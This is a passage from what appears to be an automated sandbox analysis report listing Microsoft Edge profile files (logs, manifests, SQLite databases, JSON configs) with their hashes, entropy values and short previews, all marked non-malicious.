Preview:	2024/11/12-02:30:25.856 1d38 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/12-02:30:25.856 1d38 Recovering log #3.2024/11/12-02:30:25.856 1d38 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.613371089714028
Encrypted:	false
SSDEEP:	12:TLs9pRSJDBJuqJSEDNvrWjJQ9Dl9np59yDLgHFUxOUDaaTXubHa7mWMya1RCMAqn:TLapR+DDNzWjJ0npnyXKUO8+jDApJZmL
MD5:	37EECD9A4B91BCA26C0EEFB7627DDA62
SHA1:	2E720FECDF231F2747FEB3DF0B29DFBDAA39523A
SHA-256:	3AEAF0C1EECCA54F5030F41FD84AC1FF8C52607257BB9BA4B8ACAA4E204B5B26
SHA-512:	FE7D413A8254EF18B61E98A4C9B02A2EAE85EDA6576D70591E08722C9DC6032CAAF4AA769B5CAEF3691D7FF39C371933B8708D31AFCD7F7CDC3EEA1675E005B6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.354126590231039
Encrypted:	false
SSDEEP:	6144:VA/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:VFdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	092E646D30F41FCB25A32820EC30E3A2
SHA1:	70EC22DA0523E335B0A8AC34E5D8DE73F08EA881
SHA-256:	63F0075B2189D2C5D760358C94DC7D2C647353D5D1F691EFE5B723745C699A9C
SHA-512:	B05646B0EC1AFDED86440B36E7A5B34F3D667507B056E1D48652F709B161257DCDC10DF800BD5AF538E158A9B8662E8EB691EF84C8EFFBB3D64D7BF72740DA7A
Malicious:	false
Preview:	...m.................DB_VERSION.1I..Zq...............&QUERY_TIMESTAMP:domains_config_gz2...13375870231695259..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	311
Entropy (8bit):	5.132821917531837
Encrypted:	false
SSDEEP:	6:HU4udSnB1923oH+Tcwtk2WwnvB2KLlVU4uCV/Q+q2P923oH+Tcwtk2WwnvIFUv:vMYebkxwnvFLXV/Vv4YebkxwnQFUv
MD5:	DEC42A1E8A7214B148207F24C57E9AD2
SHA1:	05765751BA7345AB0AE62D9233311C0CEB3B6F06
SHA-256:	3E5E496C5776DD5BC7D485EF87F8499996CEE2E68A388D333CE44CC0A7E27B92
SHA-512:	5E22F3022B58691D6AE475C7EA5287529F6727B84B937023900ADD3EF9EEBDB1B9C42E0148424D2C1866F77D064DBA00E0BBF32DC492609EB3F9A7814BA06222
Malicious:	false
Preview:	2024/11/12-02:30:29.927 2008 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/11/12-02:30:30.089 2008 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358860
Entropy (8bit):	5.324608510896447
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6RN:C1gAg1zfvV
MD5:	936FCD48DB44713B2659ABD997D0107E
SHA1:	18A5704F9A0B0EB4F45E4291A485B197E884163C
SHA-256:	7F6444049F4568FA51B9AC9AF39B76650565E8B6200AE1B4356395417B668AB3
SHA-512:	E38580CCDEFA8A445BBA6FD2A8AAD8E812D8CD6A9F01F44328B194704380E8130BA1AD5BEB02CBF24560210C827EF88DABBE2392A97A4222FB3D78361807255D
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.187633431249659
Encrypted:	false
SSDEEP:	6:HU4udxQ+q2P923oH+Tcwt8aPrqIFUt8YU4udEgZmw+YU4udEQVkwO923oH+Tcwtc:Av4YebL3FUt85/+T5LYebQJ
MD5:	29F8C67315D48D0AA207993B4A86D1BA
SHA1:	B0E672F0BC13729E6D77C48BA8448B11CF79753E
SHA-256:	7617B88C4C9D8D1E1DEB0D6CC31753699613F818D8F518D1DE7D43D853B6ABE5
SHA-512:	A443B0B8141D798D102D83169DB361E51E7103B2C925ECEEE5CEFB75BE9B3BB45F608B5325537F088F1DC0C95A6CE4594C5DD34304481A3FA01BCF461FD13170
Malicious:	false
Preview:	2024/11/12-02:30:25.858 1d68 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/12-02:30:25.859 1d68 Recovering log #3.2024/11/12-02:30:25.859 1d68 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.187633431249659
Encrypted:	false
SSDEEP:	6:HU4udxQ+q2P923oH+Tcwt8aPrqIFUt8YU4udEgZmw+YU4udEQVkwO923oH+Tcwtc:Av4YebL3FUt85/+T5LYebQJ
MD5:	29F8C67315D48D0AA207993B4A86D1BA
SHA1:	B0E672F0BC13729E6D77C48BA8448B11CF79753E
SHA-256:	7617B88C4C9D8D1E1DEB0D6CC31753699613F818D8F518D1DE7D43D853B6ABE5
SHA-512:	A443B0B8141D798D102D83169DB361E51E7103B2C925ECEEE5CEFB75BE9B3BB45F608B5325537F088F1DC0C95A6CE4594C5DD34304481A3FA01BCF461FD13170
Malicious:	false
Preview:	2024/11/12-02:30:25.858 1d68 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/12-02:30:25.859 1d68 Recovering log #3.2024/11/12-02:30:25.859 1d68 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.200344961193135
Encrypted:	false
SSDEEP:	6:HU4udQzQ+q2P923oH+Tcwt865IFUt8YU4udQYgZmw+YU4udQYQVkwO923oH+Tcwx:Jv4Yeb/WFUt8C/+u5LYeb/+SJ
MD5:	950F2C07E8B5B1CD2DC05A773A838FAC
SHA1:	B6498C9668CDD56CCE39B7E06E19D4E30461A13B
SHA-256:	E133F09AA9BE9BAC6DF70F34A3D5B7811F53A950C3F13C0530B0FFB3AAAF222F
SHA-512:	ED8BD791E92DAF12E6E6538422FE47AEE180C8D8CE6DF7E734C8524086DE7C23985BE116E7167CFC09EB05E5609028B008A2C7F85BF15ECE0A6D6D61F5AAC6E7
Malicious:	false
Preview:	2024/11/12-02:30:25.866 1d68 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/12-02:30:25.869 1d68 Recovering log #3.2024/11/12-02:30:25.869 1d68 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.200344961193135
Encrypted:	false
SSDEEP:	6:HU4udQzQ+q2P923oH+Tcwt865IFUt8YU4udQYgZmw+YU4udQYQVkwO923oH+Tcwx:Jv4Yeb/WFUt8C/+u5LYeb/+SJ
MD5:	950F2C07E8B5B1CD2DC05A773A838FAC
SHA1:	B6498C9668CDD56CCE39B7E06E19D4E30461A13B
SHA-256:	E133F09AA9BE9BAC6DF70F34A3D5B7811F53A950C3F13C0530B0FFB3AAAF222F
SHA-512:	ED8BD791E92DAF12E6E6538422FE47AEE180C8D8CE6DF7E734C8524086DE7C23985BE116E7167CFC09EB05E5609028B008A2C7F85BF15ECE0A6D6D61F5AAC6E7
Malicious:	false
Preview:	2024/11/12-02:30:25.866 1d68 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/12-02:30:25.869 1d68 Recovering log #3.2024/11/12-02:30:25.869 1d68 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.132928167064495
Encrypted:	false
SSDEEP:	6:HU4udwmdRq2P923oH+Tcwt8NIFUt8YU4udcZmw+YU4udZrzkwO923oH+Tcwt8+ed:5mdRv4YebpFUt8o/+Nz5LYebqJ
MD5:	04EDDA3E6F88DF8B2B72191967CF263F
SHA1:	E46E953D944B384138427B30B121FE39F67DBFFF
SHA-256:	324FBD29B727CFAE276158D265DA6BE0473937DC1A6D942C1BE2B5660FF3189D
SHA-512:	367ABAB9F42E165C09E06E52BA96FBB6A194A12D6E720B107C1AC620FD2F9DDADEFEBAAD5B30CEBC1E1B3C03D49C819C3E41826AC778606114000A5F2E5BDDCE
Malicious:	false
Preview:	2024/11/12-02:30:26.592 1750 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/12-02:30:26.602 1750 Recovering log #3.2024/11/12-02:30:26.603 1750 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.132928167064495
Encrypted:	false
SSDEEP:	6:HU4udwmdRq2P923oH+Tcwt8NIFUt8YU4udcZmw+YU4udZrzkwO923oH+Tcwt8+ed:5mdRv4YebpFUt8o/+Nz5LYebqJ
MD5:	04EDDA3E6F88DF8B2B72191967CF263F
SHA1:	E46E953D944B384138427B30B121FE39F67DBFFF
SHA-256:	324FBD29B727CFAE276158D265DA6BE0473937DC1A6D942C1BE2B5660FF3189D
SHA-512:	367ABAB9F42E165C09E06E52BA96FBB6A194A12D6E720B107C1AC620FD2F9DDADEFEBAAD5B30CEBC1E1B3C03D49C819C3E41826AC778606114000A5F2E5BDDCE
Malicious:	false
Preview:	2024/11/12-02:30:26.592 1750 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/12-02:30:26.602 1750 Recovering log #3.2024/11/12-02:30:26.603 1750 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.2191763562065486
Encrypted:	false
SSDEEP:	3:OARlntFlljq7A/mhWJFuQ3yy7IOWUVoAwl/dweytllrE9SFcTp4AGbNCV9RUIkn:OSG75fO/nQ/d0Xi99pEYW
MD5:	98809D9EAA5401231307AF571D800FB3
SHA1:	40C72970124C0F17D7036ABDA84C54BA3462F859
SHA-256:	99243D4A034F777CBF813DAC5EFFF993A2E5773AE9F9C4EC06EF3C6832704687
SHA-512:	7EA6080E535F6D70770886086C64FF114D628D188C49F2C5B00886357B7CF8A71974673EA04DD429D3174CBC85ADA944E2ECFEBDE75CFDE7C91B90CC62790C9C
Malicious:	false
Preview:	...............%...&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 12, cookie 0x3, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	3.6481101165292493
Encrypted:	false
SSDEEP:	384:aj9P0tbQkQerkjl5cbP/KbtZ773pL9hCgam6ItRKToaAu:adKe2ml+bP/o7Pv9RKcC
MD5:	FA8EC40ED9F61724A8AAE14F146E8ABC
SHA1:	92BF481BB99EAC8D312AD5998C0B5ADB98B1F827
SHA-256:	2B1B3E6FFBB45D7CC182AFAA2B1DB5E4F7CDF495EC7BAA258C9B2D34B1947497
SHA-512:	8980A828715627BEAECE18A272172C895DC7167A289F73B9664D855AF6A0F8EB3E8225C10F7A6AD5C5D5C5299F12806232C76CD4AC443142C803CEF6517154F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	408
Entropy (8bit):	5.249311383112214
Encrypted:	false
SSDEEP:	12:FIv4Yeb8rcHEZrELFUt8o/+D5LYeb8rcHEZrEZSJ:M4Yeb8nZrExg83LYeb8nZrEZe
MD5:	F6010A94CC240E61EAE7F2D2E0D53F07
SHA1:	63B340B970303B1EBBEC7F94E97C71635838A7F5
SHA-256:	A42CA75B13F6A847E04238137884D872568B9881D88BDDDBEFDAD1767741176F
SHA-512:	EFAE5DE27743E816DFAB984F430EA752F05194B6C2BBD58B1B2FCFCCF87E19B16806380FF0E9374E392FAFD200671C93C874F77E6035BF196781749E55424A7F
Malicious:	false
Preview:	2024/11/12-02:30:28.503 1750 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/12-02:30:28.507 1750 Recovering log #3.2024/11/12-02:30:28.508 1750 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	408
Entropy (8bit):	5.249311383112214
Encrypted:	false
SSDEEP:	12:FIv4Yeb8rcHEZrELFUt8o/+D5LYeb8rcHEZrEZSJ:M4Yeb8nZrExg83LYeb8nZrEZe
MD5:	F6010A94CC240E61EAE7F2D2E0D53F07
SHA1:	63B340B970303B1EBBEC7F94E97C71635838A7F5
SHA-256:	A42CA75B13F6A847E04238137884D872568B9881D88BDDDBEFDAD1767741176F
SHA-512:	EFAE5DE27743E816DFAB984F430EA752F05194B6C2BBD58B1B2FCFCCF87E19B16806380FF0E9374E392FAFD200671C93C874F77E6035BF196781749E55424A7F
Malicious:	false
Preview:	2024/11/12-02:30:28.503 1750 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/12-02:30:28.507 1750 Recovering log #3.2024/11/12-02:30:28.508 1750 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1657
Entropy (8bit):	5.6806129994395524
Encrypted:	false
SSDEEP:	48:PtZgd/FTXZ/V03Sx41HHHxda2LoE9y+DTV:PtGRFLJWRxLn
MD5:	7B33B1DA1F2844B4DC6137C7EF7FA8E5
SHA1:	2EAAB932BF42BD7F3F9F7EE096059420FCF93210
SHA-256:	28387E482EA4F4D86CF0A0D44DF78BCA378DCFFA4824811EA699A70CA01AABD6
